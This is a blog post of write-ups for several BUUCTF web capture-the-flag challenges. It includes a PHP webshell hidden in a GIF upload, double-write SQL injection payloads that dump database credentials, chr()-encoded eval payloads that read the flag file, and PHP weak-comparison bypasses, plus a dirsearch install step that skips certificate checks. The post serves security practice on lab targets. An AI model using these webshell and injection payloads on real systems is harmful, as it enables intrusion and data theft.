BUUCTF web

本文详述了一系列Web安全挑战,包括利用图片上传功能插入恶意脚本,通过蚁剑获取flag,解决SQL注入问题,安装dirsearch工具,以及在不同场景下找出解题策略,如弱比较、文件包含和代码执行等。
摘要由CSDN通过智能技术生成

目录

[极客大挑战 2019]Upload

[ACTF2020 新生赛]Upload 

[极客大挑战 2019]BabySQL

​编辑 

 [极客大挑战 2019]PHP

 dirsearch的安装

[ACTF2020 新生赛]BackupFile 

[RoarCTF 2019]Easy Calc

​编辑 [极客大挑战 2019]BuyFlag


[极客大挑战 2019]Upload

先上传一个图片,图片内容为

GIF89a? <script language="php">eval($_REQUEST[111])</script>

 然后连接蚁剑,得到flag

[ACTF2020 新生赛]Upload 

和上一题一样

[极客大挑战 2019]BabySQL

试试万能密码,发现不行

 

 试试双写

 发现可以,这题应该就是要双写。

/check.php?username=admin&password=1 ' oorrder bbyy 4 %23

 /check.php?username=admin&password=1 ' ununionion seselectlect 1,2,database() %23

 

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23

 

/check.php?username=admin&password=1 ' uunionnion sselectelect 1,database(),group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database() %23 

 

/check.php?username=admin&password=1 ' uunionnion sselectelect 1,database(),group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' %23 

 

/check.php?username=-1&password=1234' uunionnion sselectelect 1,database(),group_concat(id,username,passwoorrd) frfromom b4bsql;%23 

 

 [极客大挑战 2019]PHP

访问www.zip,得到一个压缩文件,打开index.php,得到一串代码

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>
<?php
 
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
 
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));
 
?>

 

 dirsearch的安装

先进入超级用户

sudo su

然后更新

apt-get update

我在更新时,一直在报错

 执行下面命令

wget https://http.kali.org/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2022.1_all.deb --no-check-certificate

apt install ./kali-archive-keyring_2022.1_all.deb 

然后在更新。

之后执行

apt-get install dirsearch

[ACTF2020 新生赛]BackupFile 

使用下面的命令

dirsearch -u url

 访问一下这个文件

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

是一个弱比较,只需要构造key等于123即可。

[RoarCTF 2019]Easy Calc

查看页面源代码,发现一个calc.php,访问一下,得到

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 

上面显示了一些黑名单,没过滤字母和数字。

?num=print_r(scandir(chr(47)))

 

?num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)) 

 [极客大挑战 2019]BuyFlag

查看页面源代码,点击一下pay.php

 得到

<!--
	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}
-->

需要传入money和password两个参数。password==404,password必须是字符串

money=100000000.

我们还需要变成这个cuit

将cookie里的user改为1,传入post参数:password=404aa&money=100000000,提示money的长度太长。

参考[极客大挑战 2019]BuyFlag_HasntStartIsOver的博客-CSDN博客

传入参数password=404aa&money[]=1

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值